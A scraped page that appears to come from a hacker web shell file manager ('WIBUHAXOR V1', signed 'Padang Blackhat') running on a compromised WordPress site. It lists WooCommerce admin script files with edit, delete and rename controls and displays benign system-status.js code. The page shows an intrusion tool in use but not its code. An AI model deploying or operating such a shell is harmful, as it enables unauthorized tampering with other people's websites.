-
WIBUHAX0R1337
-
/
home
/
coludnqa
/
www
/
wp-content
/
plugins
/
woocommerce
/
assets
/
js
/
admin
/
[ Home ]
Create Folder
Create File
Nama File / Folder
Size
Action
.htaccess
0.231KB
Edit File
Delete File
Rename
api-keys.js
3.893KB
Edit File
Delete File
Rename
api-keys.min.js
2.215KB
Edit File
Delete File
Rename
backbone-modal.js
3.46KB
Edit File
Delete File
Rename
meta-boxes-order.js
46.839KB
Edit File
Delete File
Rename
meta-boxes-product-variation.js
33.524KB
Edit File
Delete File
Rename
meta-boxes-product-variation.min.js
18.719KB
Edit File
Delete File
Rename
meta-boxes.js
2.331KB
Edit File
Delete File
Rename
network-orders.js
2.338KB
Edit File
Delete File
Rename
product-ordering.js
2.258KB
Edit File
Delete File
Rename
settings-views-html-settings-tax.js
11.933KB
Edit File
Delete File
Rename
settings-views-html-settings-tax.min.js
5.982KB
Edit File
Delete File
Rename
system-status.js
3.551KB
Edit File
Delete File
Rename
users.js
3.784KB
Edit File
Delete File
Rename
wc-clipboard.js
0.849KB
Edit File
Delete File
Rename
wc-enhanced-select.js
10.412KB
Edit File
Delete File
Rename
wc-product-export.js
3.632KB
Edit File
Delete File
Rename
wc-setup.js
10.049KB
Edit File
Delete File
Rename
wc-shipping-zones.js
8.986KB
Edit File
Delete File
Rename
wc-status-widget.js
0.72KB
Edit File
Delete File
Rename
woocommerce_admin.js
14.972KB
Edit File
Delete File
Rename
woocommerce_admin.min.js
8.586KB
Edit File
Delete File
Rename
/* global jQuery, woocommerce_admin_system_status, wcSetClipboard, wcClearClipboard */ jQuery( function ( $ ) { /** * Users country and state fields */ var wcSystemStatus = { init: function() { $( document.body ) .on( 'click', 'a.help_tip, a.woocommerce-help-tip', this.preventTipTipClick ) .on( 'click', 'a.debug-report', this.generateReport ) .on( 'click', '#copy-for-support', this.copyReport ) .on( 'aftercopy', '#copy-for-support', this.copySuccess ) .on( 'aftercopyfailure', '#copy-for-support', this.copyFail ); }, /** * Prevent anchor behavior when click on TipTip. * * @return {Bool} */ preventTipTipClick: function() { return false; }, /** * Generate system status report. * * @return {Bool} */ generateReport: function() { var report = ''; $( '.wc_status_table thead, .wc_status_table tbody' ).each( function() { if ( $( this ).is( 'thead' ) ) { var label = $( this ).find( 'th:eq(0)' ).data( 'exportLabel' ) || $( this ).text(); report = report + '\n### ' + label.trim() + ' ###\n\n'; } else { $( 'tr', $( this ) ).each( function() { var label = $( this ).find( 'td:eq(0)' ).data( 'exportLabel' ) || $( this ).find( 'td:eq(0)' ).text(); var the_name = label.trim().replace( /(<([^>]+)>)/ig, '' ); // Remove HTML. // Find value var $value_html = $( this ).find( 'td:eq(2)' ).clone(); $value_html.find( '.private' ).remove(); $value_html.find( '.dashicons-yes' ).replaceWith( '✔' ); $value_html.find( '.dashicons-no-alt, .dashicons-warning' ).replaceWith( '❌' ); // Format value var the_value = $value_html.text().trim(); var value_array = the_value.split( ', ' ); if ( value_array.length > 1 ) { // If value have a list of plugins ','. // Split to add new line. var temp_line =''; $.each( value_array, function( key, line ) { temp_line = temp_line + line + '\n'; }); the_value = temp_line; } report = report + '' + the_name + ': ' + the_value + '\n'; }); } }); try { $( '#debug-report' ).slideDown(); $( '#debug-report' ).find( 'textarea' ).val( '`' + report + '`' ).trigger( 'focus' ).trigger( 'select' ); $( this ).fadeOut(); return false; } catch ( e ) { /* jshint devel: true */ console.log( e ); } return false; }, /** * Copy for report. * * @param {Object} evt Copy event. */ copyReport: function( evt ) { wcClearClipboard(); wcSetClipboard( $( '#debug-report' ).find( 'textarea' ).val(), $( this ) ); evt.preventDefault(); }, /** * Display a "Copied!" tip when success copying */ copySuccess: function() { $( '#copy-for-support' ).tipTip({ 'attribute': 'data-tip', 'activation': 'focus', 'fadeIn': 50, 'fadeOut': 50, 'delay': 0 }).trigger( 'focus' ); }, /** * Displays the copy error message when failure copying. */ copyFail: function() { $( '.copy-error' ).removeClass( 'hidden' ); $( '#debug-report' ).find( 'textarea' ).trigger( 'focus' ).trigger( 'select' ); } }; wcSystemStatus.init(); $( '.wc_status_table' ).on( 'click', '.run-tool .button', function( evt ) { evt.stopImmediatePropagation(); return window.confirm( woocommerce_admin_system_status.run_tool_confirmation ); }); $( '#log-viewer-select' ).on( 'click', 'h2 a.page-title-action', function( evt ) { evt.stopImmediatePropagation(); return window.confirm( woocommerce_admin_system_status.delete_log_confirmation ); }); });
© 2022 - 2023 WIBUHAXOR V1 By Lutfifakee || Padang Blackhat